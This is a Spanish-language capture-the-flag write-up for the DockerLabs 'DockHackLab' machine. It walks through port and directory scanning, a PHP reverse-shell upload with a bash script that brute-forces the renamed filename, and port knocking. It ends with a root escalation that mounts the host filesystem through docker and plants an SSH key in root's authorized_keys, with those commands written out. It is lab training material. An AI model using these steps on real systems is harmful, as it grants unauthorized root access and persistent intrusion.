Post

DockHackLab , DockerLabs

portada

En este reto de DockerLabs practicamos.

  • Scan de puertos
  • Reverse shell
  • nano
  • bash Scripting
  • Hacking con docker

Herramientas y recursos

  • nmap
  • feroxbuster
  • Scripting bash
  • Docker

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX practicas  172.17.0.2

reporte

Como vemos en el reporte disponemos del http 80 y del ssh 80

web

Vemos la pagima default asi que lanzamos un poco de fuzzing en busca ficheros y directorios.

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -x php,txt,jpg -u http://172.17.0.2

hackademy

Genial nos encuentra una ruta y un fichero que nos dice por donde van los tiros.

Vamos a esa ruta y nos encontramos que nos permite subir ficheros probamos con un php y lo sube.

webshell

Podemos ver que el nombre lo han alterado asi que nos creamos un script que nos cree el diccionario con la permutaciones correspondietes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash

# Función para generar combinaciones y guardar en el archivo de salida
generate_dictionary() {
  #local prefix="xxx_"    # Prefijo fijo
  #local suffix=".php"    # Sufijo fijo
  local word="$1"        # Palabra proporcionada como argumento
  local output_file="$2" # Nombre del archivo de salida

  # Eliminar el archivo de salida si existe
  rm -f "$output_file"

  # Loop para generar todas las combinaciones
  for c1 in {a..z}; do
    for c2 in {a..z}; do
      for c3 in {a..z}; do
        # Construir la línea del diccionario
        combination="${c1}${c2}${c3}_${word}"
        echo "$combination" >>"$output_file"
      done
    done
  done

  echo "Diccionario generado en $output_file"
}

# Verificar los argumentos proporcionados
if [ $# -ne 2 ]; then
  echo "Uso: $0 <palabra> <archivo_salida>"
  exit 1
fi

# Llamar a la función para generar el diccionario
generate_dictionary "$1" "$2"

Una vez tenemos el diccionario resalizamos un fuzzin para que averigue el nombre del archivo.

dic

ferox

Nos encuentra rapido el fichero que hemos subido. Depende de lo que hayais subido realizareis algun paso mas o menos. Yo subi un revshell directamente asi que a la escucha con nc.

Realizamos el tratamiento a la tty.

Con la terminal ya funcional realizamos un sudo -l para empezar.

sudol

Nos han dejado a nano para abusar, os recomiendo la app searchbins anda genial.

first

Como vemos nos han dejado a docker con permisos de root y tambien que esta knockd y podreos hacer por knocking.

ps

Debemos buscar la combinacion y sobre el home de usuario vemos un fichero .docker lo revisamos y da un pista sobre bashrc y funciones , asi que miramos bashrc.

tail

Ya tenemos la combinacion ahora debemos de llamar.

knock

ps2

Despues del port knocking si observamos con ps vemos que se a levantado el servicio dockerd y ahora podrmos hacer uso de docker.

Aqui nos vamos a aprovechar de que cuando corramos nuestro contenedor lo vamos a corren con permisos uid 0 y de ese modo vamos a montar todo el disco del contenedor principal en nuestra propia maquina de modo que tendremos todo el sistema de ficheros a nuestra disposicion.

Para lo cual fealizamos los siguientes pasos.

1
sudo /usr/bin/docker pull alpine

Nos descargamos la imagen de alpine por su poco peso y luego la hacemos correr con

1
sudo  /usr/bin/docker run -v /:/mnt --rm -it alpine sh

mount

Como vemos hemos montado todo el raiz del afitrion por asi llamarle.

Aqui podemos hacer cualquier cosa editar passwd , copiar un bash y añadirle suid , authorized_keys ,….. yo voy por este ultimo

Los comando serian los sigentes , primero generamos las claves , luego la copiamos a su lugar en la carpeta del usuario root en este caso y nos aseguramos que se permita el root login y si no se permite lo modificamos.

1
2
3
4
ssh-keygen -t rsa
cat id_rsa.pub
cd /mnt/root/.ssh
echo 'el_contenid_que_nos_mostro_cat' >> authorized_keys

authorized_keys

Desde la maquina atacante y en el directorio donde cremaos las claves nos conectamos por ssh.

1
ssh -i id_rsa root@172.17.0.2

Y nos convertimos en root en el contenedor a hackear

root

Gracias por leer.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.